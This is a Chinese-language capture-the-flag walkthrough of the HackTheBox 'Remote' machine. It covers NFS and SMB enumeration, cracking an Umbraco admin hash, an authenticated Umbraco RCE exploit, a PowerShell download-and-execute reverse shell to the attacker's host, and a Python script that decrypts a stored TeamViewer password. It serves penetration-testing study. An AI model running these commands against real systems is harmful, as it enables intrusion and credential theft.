> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md). # Remote HackTheBox 详解 {% embed url="" %} {% hint style="warning" %} **技能**: * Web 枚举 * NFS 枚举 - Showmount * 信息泄露 * 滥用 Umbraco 管理面板 * Umbraco CMS - 通过已认证管理员进行远程代码执行 * 从系统注册表中获取 TeamViewer 密码（AES128 - CBC）（权限提升） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：**/ 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件： ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts ```

**使用 extractport 对开放端口进行分析：**/ 使用 extractport 函数以简洁格式显示开放端口并复制到剪贴板。

**使用 Nmap 进行端口版本扫描：**/ 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中： ```bash nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted ```

为了通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件

### Web（端口 80）： ```bash whatweb http://remote.htb ```

### SMB - 端口 445 列表 **SMB：** ```bash crackmapexec smb 10.10.10.180 ```

### **SMB 客户端（空会话）：** ```bash smbclient -L 10.10.10.180 -N ```

### FTP（21）匿名我们可以使用匿名用户通过 FTP 连接，但既不能列出文件，也不能添加文件。 ```bash ftp 10.10.10.180 put test.txt ```

## NFS 服务（端口 2049） {% hint style="info" %} 网络文件系统（NFS）是一种 OSI 应用层协议。它用于在本地网络中创建分布式文件系统，使不同连接的系统能够像访问本地文件一样访问远程文件。 {% endhint %} 要列出文件，使用 `挂载`: ```bash showmount -e 10.10.10.180 ``` 我们看到一个 `/site_backups` 可供所有人查看。

要导入这个文件，你必须创建一个目录并将其挂载到我们的机器上，如下所示： ```bash mkdir /mnt/mounted_files mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files ```

使用 `tree`，我们将列出框架中的所有文件夹以获取一个概念： ``` tree -L 2 ``` 我们看到一个 `.config` 配置和 `sdf` 来自 80 端口的 Umbraco 数据库（一个 CMS）中的文件夹。

该 `.conf` 文件中没有什么有趣的内容，而 `umbraco.sdf` 是一个二进制文件。

我们将使用 `strings` 来显示可见字符并将其放入我们的目录中进行详细分析： ```bash strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output ``` 我们找到了“admin”密码和一个“smith”用户。

### 密码破解： Admin（哈希）： `b8be16afba8c314ad33d812f22a04991b90e2aaa` {% embed url="" %}

Admin： `baconandcheese` #### 由于 SMB 暴露，使用 CrackMapExec 进行身份验证并验证访问权限 ```bash crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese' crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese' ``` #### 没有效果

## RCE 漏洞（Umbraco CMS）我们找到了一个管理面板，并将尝试使用 admin 用户进行身份验证： `admin@htb.local:baconandcheese`

我们已经获得访问权限。

我们将搜索 `Searchsploit` 这个 CMS 的漏洞，并找到一个适用于 Umbraco 的 NCE 脚本。

`searchsploit -m aspx/webapps/46153.py` 我们将修改脚本中的登录名、密码和主机设置。

**通过 ping 检查连通性：**/ 我们将为服务器执行此命令，并使用 tcpdump 监听 ```bash /c ping 10.10.14.6 tcpdump -i tun0 icmp ```

一旦我们看到可以执行命令，就会下载 `PS.ps1` 脚本到我们这边。 {% embed url="" %} 在脚本末尾，我们添加如下这一行： ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444 ```

我们将使用 `PS.ps1` 脚本创建一个 Web 服务器： ```bash python3 -m http.server 80 ``` 然后我们会修改命令，使其指向我们的 Web 服务器： {% code fullWidth="true" %} ``` /c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/') ``` {% endcode %} 最后，我们监听 4444 端口： ```bash rlwrap nc -nlvp 4444 ```

可访问 `user.txt` 文件并发现已安装 TeamViewer

## 权限提升：如果你查看正在运行的任务，可以看到 TeamViewer 7 版。 ```powershell tasklist /svc ```

搜索 Metasploit 脚本后，我们找到一个可以获取 TeamViewer 密码的脚本： ```powershell locate teamviewer | grep metasploit ```

在分析脚本时，你必须首先从注册表中获取密钥（取决于版本）： `HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version` 接下来，应检查安全属性，尤其是 AES 密码： ```powershell cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7 (Get-ItemProperty .).SecurityPasswordAES ```

将以下字节放入 `密文`: `255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91` ### Python 自动化脚本：下面是自动化整个过程的脚本： ```python from itertools import product from Crypto.Cipher import AES import Crypto.Cipher.AES IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04" key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00" decipher = AES.new(key,AES.MODE_CBC,IV) ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91]) plaintext = decipher.decrypt(ciphertext).decode() print(plaintext) ```

密码是 `!R3m0te!`. 我们将使用 CrackMapExec 检查该密码是否对用户有效 `Administrator`: ```bash crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!' ```

我们使用 Evil-WinRM 连接，因为远程 Windows 管理服务在 5985 端口上处于活动状态：

evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'

### Root 标志完成 :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.